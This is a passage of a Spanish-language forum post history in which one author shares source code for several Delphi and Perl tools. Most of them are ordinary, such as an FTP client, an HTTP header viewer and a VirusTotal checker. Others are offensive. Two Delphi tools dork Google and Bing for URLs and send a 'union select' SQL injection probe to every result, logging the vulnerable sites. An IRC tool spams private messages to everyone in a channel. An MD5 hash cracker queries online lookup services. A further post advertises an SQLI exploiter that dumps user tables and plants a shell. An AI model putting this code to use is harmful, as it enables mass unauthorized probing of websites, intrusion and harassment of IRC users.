            sButton2.Caption := 'Disconnect';
          except
            sStatusBar1.Panels[0].Text := '[-] Error';
            Form1.sStatusBar1.Update;
          end;
        end;
      end;

      procedure TForm1.sButton3Click(Sender: TObject);
      begin
        listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.sButton4Click(Sender: TObject);
      var
        fileabajar: string;
      begin

        fileabajar := sListView2.Selected.Caption; ;
        IdFTP1.OnWork := IdFTP1Work;
        IdFTP1.ChangeDir(sEdit5.Text);

        sProgressBar1.Max := IdFTP1.Size(ExtractFileName(fileabajar)) div 1024;

        IdFTP1.Get(fileabajar, sEdit1.Text + '/' + fileabajar, False, False);

      end;

      procedure TForm1.sButton5Click(Sender: TObject);
      var
        fileasubir: string;
        dirasubir: string;
        cantidad: File of byte;
      begin

        fileasubir := sEdit1.Text + sListView1.Selected.Caption;
        dirasubir := sEdit5.Text;

        IdFTP1.OnWork := IdFTP1Work;

        AssignFile(cantidad, fileasubir);
        Reset(cantidad);
        sProgressBar1.Max := FileSize(cantidad) div 1024;
        CloseFile(cantidad);

        IdFTP1.ChangeDir(dirasubir);
        IdFTP1.Put(fileasubir, sListView1.Selected.Caption, False);

      end;

      procedure TForm1.sListView1DblClick(Sender: TObject);
      var
        dir: string;
      begin

        dir := sEdit1.Text + sListView1.Selected.Caption + '/';
        if (DirectoryExists(dir)) then
        begin
          sEdit1.Text := sEdit1.Text + sListView1.Selected.Caption + '/';
          listar(dir, sListView1, ImageList1);
        end;
      end;

      procedure TForm1.sListView2DblClick(Sender: TObject);
      var
        dir: string;
      begin
        dir := sEdit5.Text + sListView2.Selected.Caption + '/';
        sEdit5.Text := sEdit5.Text + sListView2.Selected.Caption + '/';
        listarftp(dir, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.D3Click(Sender: TObject);
      begin
        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.Delete(sListView2.Selected.Caption);
            ShowMessage('File Deleted');
          end;
        except
          begin
            ShowMessage('Error');
          end;
        end;
      end;

      procedure TForm1.D4Click(Sender: TObject);
      begin

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.RemoveDir(sListView2.Selected.Caption);
            ShowMessage('Directory Deleted');
          end
        except
          ShowMessage('Error');
        end;

      end;

      procedure TForm1.D5Click(Sender: TObject);
      begin
        IdFTP1.Disconnect;
      end;

      procedure TForm1.E1Click(Sender: TObject);
      begin
        Form1.Close();
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#285
Delphi / [Delphi] HTTP FingerPrinting 0.1
Junio 22, 2013, 12:18:32 PM
Un simple HTTP FingerPrinting hecho en Delphi.

Una imagen :



El codigo :

Código: delphi

// HTTP FingerPrinting 0.1
// Coded By Doddy H

unit http;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  IdCookieManager, Sockets, ComCtrls, sStatusBar, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    IdHTTP1: TIdHTTP;
    sStatusBar1: TsStatusBar;
    Image1: TImage;
    IdCookieManager1: TIdCookieManager;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cappuccino';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: integer;

begin

  sStatusBar1.Panels[0].text := '[+] Working ...';
  Form1.sStatusBar1.Update;

  sMemo1.Clear;

  try

    IdHTTP1.Get(sEdit1.text);

    sMemo1.Lines.Add('[+] ' + IdHTTP1.Response.ResponseText);
    sMemo1.Lines.Add('[+] Date : ' + DateTimeToStr(IdHTTP1.Response.Date));
    sMemo1.Lines.Add('[+] Server : ' + IdHTTP1.Response.Server);
    sMemo1.Lines.Add('[+] Last-Modified : ' + DateTimeToStr
        (IdHTTP1.Response.LastModified));
    sMemo1.Lines.Add('[+] ETag: ' + IdHTTP1.Response.ETag);
    sMemo1.Lines.Add('[+] Accept-Ranges : ' + IdHTTP1.Response.AcceptRanges);
    sMemo1.Lines.Add('[+] Content-Length : ' + IntToStr
        (IdHTTP1.Response.ContentLength));
    sMemo1.Lines.Add('[+] Connection : ' + IdHTTP1.Response.Connection);
    sMemo1.Lines.Add('[+] Content-Type : ' + IdHTTP1.Response.ContentType);

    for i := 1 to IdCookieManager1.CookieCollection.count do
    begin
      sMemo1.Lines.Add('[+] Cookie : ' + IdCookieManager1.CookieCollection.Items
          [i - 1].CookieText);
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;

  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#286
Delphi / [Delphi] Spam King 0.2
Junio 14, 2013, 02:04:10 PM
Un simple programa para spammear en un canal IRC , solo ponen los mensajes a enviar y el programa cada cierto tiempo marcado por ustedes mandara mensajes privados a cada persona en ese canal marcado.

Una imagen :



El codigo

Código: delphi

// Spam King 0.2
// Coded By Doddy H

unit irc;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sSkinManager, ExtCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdContext, IdCmdTCPClient,
  IdIRC, sMemo, sGroupBox, sLabel, sEdit, ComCtrls, sStatusBar, sListBox,
  PerlRegEx, jpeg, acPNG;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Timer1: TTimer;
    IdIRC1: TIdIRC;
    sGroupBox1: TsGroupBox;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sStatusBar1: TsStatusBar;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sLabel5: TsLabel;
    sEdit5: TsEdit;
    sButton2: TsButton;
    sGroupBox3: TsGroupBox;
    sListBox2: TsListBox;
    sButton1: TsButton;
    sLabel6: TsLabel;
    sEdit6: TsEdit;
    sButton3: TsButton;
    sGroupBox4: TsGroupBox;
    sMemo1: TsMemo;
    PerlRegEx1: TPerlRegEx;
    Console: TsGroupBox;
    sMemo2: TsMemo;
    sLabel1: TsLabel;
    Image1: TImage;
    sLabel7: TsLabel;
    procedure sButton1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);
    procedure sButton3Click(Sender: TObject);
    procedure IdIRC1NicknamesListReceived(ASender: TIdContext;
      const AChannel: string; ANicknameList: TStrings);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
      const AMessage: string);
    procedure IdIRC1Disconnected(Sender: TObject);
    procedure IdIRC1Connected(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;

end;

procedure TForm1.IdIRC1Connected(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[+] Connected ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdIRC1Disconnected(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[+] Stopped';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdIRC1NicknamesListReceived
  (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
var
  i: integer;
  i2: integer;
  renicks: string;
  listanow: TStringList;
  arraynow: array of String;

begin

  sListBox2.Clear;

  for i := 0 to ANicknameList.Count - 1 do
  begin

    PerlRegEx1.Regex := '(.*) = ' + sEdit3.text + ' :(.*)';
    PerlRegEx1.Subject := ANicknameList[i];

    if PerlRegEx1.Match then
    begin
      renicks := PerlRegEx1.SubExpressions[2];

      renicks := StringReplace(renicks, sEdit4.text, '', []);

      listanow := TStringList.Create;
      listanow.Delimiter := ' ';
      listanow.DelimitedText := renicks;

      for i2 := 0 to listanow.Count - 1 do
      begin
        sListBox2.Items.Add(listanow[i2]);
      end;

    end;

  end;

end;

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);
begin
  sMemo1.Lines.Add(ANicknameFrom + ' : ' + AMessage);
end;

procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
begin
  sMemo2.Lines.Add(AMessage);
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  sListBox2.Items.Clear;
  sMemo2.Lines.Clear;
  sMemo1.Lines.Clear;

  IdIRC1.Host := sEdit1.text;
  IdIRC1.Port := StrToInt(sEdit2.text);
  IdIRC1.Nickname := sEdit4.text;
  IdIRC1.Username := sEdit4.text + ' 1 1 1 1';
  IdIRC1.AltNickname := sEdit4.text + '-123';

  try

    IdIRC1.Connect;
    IdIRC1.Join(sEdit3.text);

    Timer1.Interval := StrToInt(sEdit6.text) * 1000;
    Timer1.Enabled := True;

  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  sListBox1.Items.Add(sEdit5.text);
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[-] Stopped';
  Form1.sStatusBar1.Update;
  IdIRC1.Disconnect();
  Abort;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
begin

  sStatusBar1.Panels[0].text := '[+] Spamming ...';
  Form1.sStatusBar1.Update;

  for i := 0 to sListBox2.Count - 1 do
  begin

    IdIRC1.Say(sListBox2.Items[i], sListBox1.Items[Random(sListBox1.Count - 1)
        + 0]);

  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#287
Delphi / [Delphi] GoogleSearch 0.1
Junio 07, 2013, 01:27:39 PM
Un simple programa para buscar paginas vulnerables a SQLI usando Google.

Una imagen :



El codigo  :

Código: delphi

// Google Search 0.1
// Coded By Doddy H

unit goo;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sSkinManager, IdURI, sMemo, PerlRegEx,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, jpeg,
  ExtCtrls, sEdit, sLabel, sGroupBox, sListBox, ComCtrls, sStatusBar, ShellApi,
  IdContext, IdCmdTCPClient;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    PerlRegEx2: TPerlRegEx;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sListBox2: TsListBox;
    sStatusBar1: TsStatusBar;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    PerlRegEx3: TPerlRegEx;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure sListBox2DblClick(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Writeln(ar, texto);
  CloseFile(ar);

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/logs';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  code: string;
  link1: string;
  link2: string;
  linkfinal: string;
  z: integer;
  i: integer;
  ii: integer;
  target: string;
  linkfinalfinal: string;
  chau: TStringList;

begin

  target := StringReplace(sEdit1.text, ' ', '+', []);

  sListBox1.Items.Clear;

  for i := 1 to StrToInt(sEdit2.text) do
  begin
    ii := i * 10;

    sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
    Form1.sStatusBar1.Update;

    code := IdHTTP1.Get('http://www.google.com/search?hl=&q=' + target +
        '&start=' + IntToStr(ii));

    PerlRegEx1.Regex := '(?<="r"><. href=")(.+?)"';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin
      for z := 1 to PerlRegEx1.SubExpressionCount do

        link1 := PerlRegEx1.SubExpressions[z];

      PerlRegEx2.Regex := '\/url\?q\=(.*?)\&amp\;';
      PerlRegEx2.Subject := link1;

      if PerlRegEx2.Match then
      begin
        link2 := PerlRegEx2.SubExpressions[1];
        linkfinal := TIdURI.URLDecode(link2);
        sListBox1.Update;

        PerlRegEx3.Regex := '(.*?)=(.*?)';

        PerlRegEx3.Subject := linkfinal;

        if PerlRegEx3.Match then
        begin
          linkfinalfinal := PerlRegEx3.SubExpressions[1] + '=';
          sListBox1.Items.Add(linkfinalfinal);
        end;

      end;
    end;
  end;

  chau := TStringList.Create;

  chau.Duplicates := dupIgnore;
  chau.Sorted := True;
  chau.Assign(sListBox1.Items);
  sListBox1.Items.Clear;
  sListBox1.Items.Assign(chau);

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    savefile('google-search.txt', sListBox1.Items[i]);
  end;

  sStatusBar1.Panels[0].text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  code: string;

begin

  sListBox2.Items.Clear;

  sStatusBar1.Panels[0].text := '[+] Loading ...';
  Form1.sStatusBar1.Update;

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    try
      begin

        sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
        Form1.sStatusBar1.Update;
        sListBox2.Update;

        code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');

        PerlRegEx1.Regex :=
          'The used SELECT statements have a different number of columns';
        PerlRegEx1.Subject := code;

        if PerlRegEx1.Match then
        begin
          sListBox2.Items.Add(sListBox1.Items[i]);
          savefile('sqli-founds.txt', sListBox1.Items[i]);
        end;

      end;
    except
      on E: EIdHttpProtocolException do
        ;
      on E: Exception do
        ;
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'google-search.txt', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm1.sListBox2DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#288
Delphi / [Delphi] BingHack Tool 0.1
Mayo 31, 2013, 03:53:33 PM
Traduccion a delphi de este programa para buscar paginas vulnerables a SQLI usando bing.

Una imagen :



El codigo :

Código: delphi

// BingHackTool 0.1
// Coded By Doddy H

unit bing;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sMemo, sSkinManager, PerlRegEx, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, sEdit, sLabel, sGroupBox,
  sListBox, ComCtrls, sStatusBar, ShellApi, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sSkinManager1: TsSkinManager;
    PerlRegEx2: TPerlRegEx;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox3: TsGroupBox;
    sListBox2: TsListBox;
    sStatusBar1: TsStatusBar;
    sGroupBox4: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    Image1: TImage;
    procedure sButton1Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure sListBox2DblClick(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Writeln(ar, texto);
  CloseFile(ar);

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/logs';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  code: string;
  link1: string;
  linkfinal: string;
  z: integer;
  i: integer;
  ii: integer;
  chau: TStringList;
  target: string;

begin

  sListBox1.Items.Clear;

  target := StringReplace(sEdit1.text, ' ', '+', []);

  sStatusBar1.Panels[0].text := '[+] Loading ...';
  Form1.sStatusBar1.Update;

  for i := 1 to StrToInt(sEdit2.text) do
  begin
    ii := i * 10;
    sListBox1.Update;
    sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
    Form1.sStatusBar1.Update;

    code := IdHTTP1.Get('http://www.bing.com/search?q=' + target + '&first=' +
        IntToStr(ii));

    PerlRegEx1.Regex := '<h3><a href="(.*?)"';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin
      for z := 1 to PerlRegEx1.SubExpressionCount do
        link1 := PerlRegEx1.SubExpressions[z];

      PerlRegEx2.Regex := '(.*?)=(.*?)';
      PerlRegEx2.Subject := link1;

      if PerlRegEx2.Match then
      begin
        linkfinal := PerlRegEx2.SubExpressions[1] + '=';
        sListBox1.Items.Add(linkfinal);
      end;
    end;
  end;

  chau := TStringList.Create;

  chau.Duplicates := dupIgnore;
  chau.Sorted := True;
  chau.Assign(sListBox1.Items);
  sListBox1.Items.Clear;
  sListBox1.Items.Assign(chau);

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    savefile('bing-search.txt', sListBox1.Items[i]);
  end;

  sStatusBar1.Panels[0].text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  code: string;

begin

  sListBox2.Items.Clear;

  sStatusBar1.Panels[0].text := '[+] Loading ...';
  Form1.sStatusBar1.Update;

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    try
      begin

        sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
        Form1.sStatusBar1.Update;
        sListBox2.Update;
        code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');

        PerlRegEx1.Regex :=
          'The used SELECT statements have a different number of columns';
        PerlRegEx1.Subject := code;

        if PerlRegEx1.Match then
        begin
          sListBox2.Items.Add(sListBox1.Items[i]);
          savefile('sqli-founds.txt', sListBox1.Items[i]);
        end;

      end;
    except
      on E: EIdHttpProtocolException do
        ;
      on E: Exception do
        ;
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'bing-search.txt', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm1.sListBox2DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
end;

end.

// The End ?


Si quieren bajar el programa pueden hacerlo de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#289
Python / Re:24sms.net Sender
Mayo 26, 2013, 07:23:04 PM
tengo pensado hacer algo asi en perl o delphi pero queria preguntarte si ese servicio no te jode con publicidad despues de mandar el mensaje , porque habia visto servicios similares que despues jodian con publicidad al celular al que le habias mandado el mensaje.
#290
Delphi / [Delphi] K0bra 1.0
Mayo 25, 2013, 09:15:22 PM
Traduccion a Delphi de este programa para scannear paginas vulnerables a SQLI.

Con las siguiente opciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

    Unas imagenes :











    Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#291
Delphi / [Delphi] MD5 Cracker 0.1
Mayo 19, 2013, 10:58:22 PM
Un simple programa para crackear un hash MD5 hecho en Delphi.

Una imagen :



El codigo :

Código: delphi

// MD5 Cracker 0.1
// Coded By Doddy H
// Based on the services :
// http://md5.hashcracking.com/
// http://md5.rednoize.com
// http://md52.altervista.org

unit md5;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sGroupBox, jpeg, ExtCtrls,
  ComCtrls, sStatusBar, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, PerlRegEx;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sEdit2: TsEdit;
    sGroupBox3: TsGroupBox;
    sStatusBar1: TsStatusBar;
    Crack: TsButton;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure CrackClick(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.CrackClick(Sender: TObject);
var
  rta: string;

begin

  sStatusBar1.Panels[0].text := '[+] Searching in md5.hashcracking.com ...';
  Form1.sStatusBar1.Update;

  rta := IdHTTP1.Get
    ('http://md5.hashcracking.com/search.php?md5=' + sEdit1.text);

  PerlRegEx1.Regex := 'Cleartext of (.*) is (.*)';
  PerlRegEx1.Subject := rta;
  if PerlRegEx1.Match then
  begin
    sEdit2.text := PerlRegEx1.SubExpressions[2];
    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;
  end
  else
  begin

    sStatusBar1.Panels[0].text := '[+] Searching in md5.rednoize.com ...';
    Form1.sStatusBar1.Update;

    rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' + sEdit1.text);

    PerlRegEx1.Regex := '<div id=\"result\" >(.*)<\/div>';
    PerlRegEx1.Subject := rta;
    if PerlRegEx1.Match then

    begin

      if not(Length(PerlRegEx1.SubExpressions[1]) = 32) then
      begin
        sEdit2.text := PerlRegEx1.SubExpressions[1];
        sStatusBar1.Panels[0].text := '[+] Done';
        Form1.sStatusBar1.Update;
      end
      else

      begin

        sStatusBar1.Panels[0].text :=
          '[+] Searching in md52.altervista.org ...';
        Form1.sStatusBar1.Update;

        rta := IdHTTP1.Get
          ('http://md52.altervista.org/index.php?md5=' + sEdit1.text);

        PerlRegEx1.Regex :=
          '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
        PerlRegEx1.Subject := rta;

        if PerlRegEx1.Match then
        begin
          sEdit2.text := PerlRegEx1.SubExpressions[1];
          sStatusBar1.Panels[0].text := '[+] Done';
          Form1.sStatusBar1.Update;

        end
        else
        begin
          sEdit2.text := '';
          sStatusBar1.Panels[0].text := '[-] Not Found';
          Form1.sStatusBar1.Update;
        end;
      end;

    end;
  end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'neonnight';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  sEdit2.SelectAll;
  sEdit2.CopyToClipboard;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

#292
Perl / Re:[Perl] VirusTotal Scanner 0.1
Mayo 16, 2013, 02:31:49 PM
ya sabia que primero detecta el hash md5 para despues buscarlo , pero me exprese mal por escribir rapido ,cualquier otra idea con otro API decimelo asi intento hacer otro script en perl.
#293
Perl / [Perl] VirusTotal Scanner 0.1
Mayo 16, 2013, 02:21:35 PM
Un simple script para scannear un archivo mediante el API de virustotal , la idea se me ocurrio cuando vi este script en python hecho por Sanko del foro You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Una imagen :



Código: perl

#!usr/bin/perl
#VirusTotal Scanner 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/JSON.ppd
#ppm install http://trouchelle.com/ppm/Digest-MD5-File.ppd
#ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd
#ppm install http://trouchelle.com/ppm/Color-Output.ppd

use JSON;
use Digest::MD5::File qw(file_md5_hex);
use LWP::UserAgent;
use Color::Output;
Color::Output::Init;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my $api_key = "yourapi"
  ;    #Your API Key

head();

unless ( $ARGV[0] ) {
    printear( "[+] Sintax : $0 <file to scan>", "text", "11", "5" );

    copyright();
    exit(1);
}
else {

    unless ( -f $ARGV[0] ) {
        printear( "\n[-] File Not Found\n", "text", "5", "5" );
        copyright();
    }

    my $md5 = file_md5_hex( $ARGV[0] );

    printear( "\n[+] Checking ...\n", "text", "7", "5" );

    my $code = tomar(
        "https://www.virustotal.com/vtapi/v2/file/report",
        { "resource" => $md5, "apikey" => $api_key }
    );

    if ( $code =~ /"response_code": 0/ ) {
        printear( "\n[+] Not Found\n", "text", "7", "5" );
        exit(1);
    }

    my $dividir = decode_json $code;

    printear( "[+] Getting data ...\n", "text", "7", "5" );

    printear( "[+] Scan ID : " . $dividir->{scan_id},     "text", "13", "5" );
    printear( "[+] Scan Date : " . $dividir->{scan_date}, "text", "13", "5" );
    printear( "[+] Permalink : " . $dividir->{permalink}, "text", "13", "5" );
    printear(
        "[+] Virus Founds : " . $dividir->{positives} . "/" . $dividir->{total},
        "text", "13", "5"
    );

    printear( "\n[+] Getting list ...\n", "text", "7", "5" );

    my %abrir = %{ $dividir->{scans} };

    for my $antivirus ( keys %abrir ) {

        if ( $abrir{$antivirus}{"result"} eq "" ) {
            printear( "[+] " . $antivirus . " : Clean", "text", "11", "5" );
        }
        else {
            printear(
                "[+] " . $antivirus . " : " . $abrir{$antivirus}{"result"},
